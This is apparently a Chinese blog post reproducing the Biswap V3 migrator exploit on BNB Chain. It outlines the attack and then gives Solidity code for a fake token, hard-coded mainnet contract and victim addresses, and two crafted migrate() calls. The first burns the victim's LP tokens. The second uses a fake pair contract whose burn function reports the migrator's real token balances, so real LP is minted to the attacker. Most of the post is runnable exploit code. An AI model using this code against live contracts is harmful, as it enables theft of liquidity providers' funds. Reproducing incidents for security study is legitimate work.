Biswap攻击复现

区块链安全 10个月前 admin

227 0 0

简要的攻击流程

第一次调用migrate函数，输入真的pair合约和假的token，mint地址是受害者。
transferFrom函数将受害者LPtoken发到升级合约中。
销毁LPtoken，获取两种代币。
调用mint，铸造假的LPtoken给受害者。
第二次调用migrate函数，输入伪造的pair合约和真的token，mint地址是自己的地址。
调用假的pair合约的transferFrom和burn函数不做任何操作，其中burn函数需要返回转移合约中两种代币的数量。
向自己的地址mint真的LP。

具体实现

编写假的token合约：

contract fakeToken is ERC20 {
    constructor() ERC20("fake", "fake") {
        _mint(msg.sender, 10e10 ether);
    }
}

初始化v3Migrator、bsw-wbnb交易对，manager，biswapFactory合约，创建两个假token合约：

    IV3Migrator public v3Migrator = IV3Migrator(0x839b0AFD0a0528ea184448E890cbaAFFD99C1dbf);
    IBiswapPair public pair = IBiswapPair(0x46492B26639Df0cda9b2769429845cb991591E0A);
    ILiquidityManager public manager = ILiquidityManager(0x24Ba8d2A15Fe60618039c398Cf9FD093b1C1FEB5);
    IBiswapFactoryV3 factory = IBiswapFactoryV3(0x7C3d53606f9c03e7f54abdDFFc3868E1C5466863);
    address public victim = 0x2978D920a1655abAA315BAd5Baf48A2d89792618;

    address public bsw = 0x965F527D9159dCe6288a2219DB51fc6Eef120dD1;
    address public wbnb = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;

    address public fakeToken0 = address(new fakeToken());
    address public fakeToken1 = address(new fakeToken());

在创建交易对时会判断代币地址的相对大小，所以要先调整一下两种代币的顺序：

Biswap攻击复现 ···

if (fakeToken0 > fakeToken1) {
            (fakeToken1, fakeToken0) = (fakeToken0, fakeToken1);
  }

获取bsw-wbnb交易对中受害者对转移合约的授权：

uint256 allowance = pair.allowance(victim, address(v3Migrator));

提前将两种假token发送到转移合约：

IERC20(fakeToken0).transfer(address(v3Migrator), 10e10 ether);
IERC20(fakeToken1).transfer(address(v3Migrator), 10e10 ether);

创建两种假token的交易对：

factory.newPool(fakeToken0, fakeToken1, 150 ,1);

第一次调用migrate函数：

IV3Migrator.MigrateParams memory params = 
            IV3Migrator.MigrateParams(
                address(pair), 
                allowance, 
                fakeToken0, 
                fakeToken1, 
                150, 
                10000, 
                20000, 
                0, 
                0, 
                victim, 
                1688126472, 
                false
            );
        
        v3Migrator.migrate(params);

交易对为真实的bsw-wbnb pair，要转移的流动性为受害者地址对转移合约的授权，两种代币为假的token，其余参数也与实际攻击一致。

第二次调用migrate函数：

IV3Migrator.MigrateParams memory params1 = 
            IV3Migrator.MigrateParams(
                address(this), 
                allowance, 
                bsw, 
                wbnb, 
                150, 
                10000, 
                20000, 
                0, 
                0, 
                address(this), 
                1688126472, 
                false
            );

        v3Migrator.migrate(params1);

这时的pair为攻击合约本身，所以攻击合约要实现transferFrom和burn函数：

    function transferFrom(address from, address to, uint value) external returns (bool){
        return true;
    }

transferFrom直接返回true即可。

    function burn(address to) external returns (uint amount0, uint amount1) {
        uint256 bswBalance = IERC20(bsw).balanceOf(address(v3Migrator));
        uint256 wbnb1Balance = IERC20(wbnb).balanceOf(address(v3Migrator));
        return (bswBalance, wbnb1Balance);
    }

burn函数返回两种真实代币在转移合约中的余额。

在第二次调用之后，攻击合约应该获取到一个LP和相应数量的两种的代币。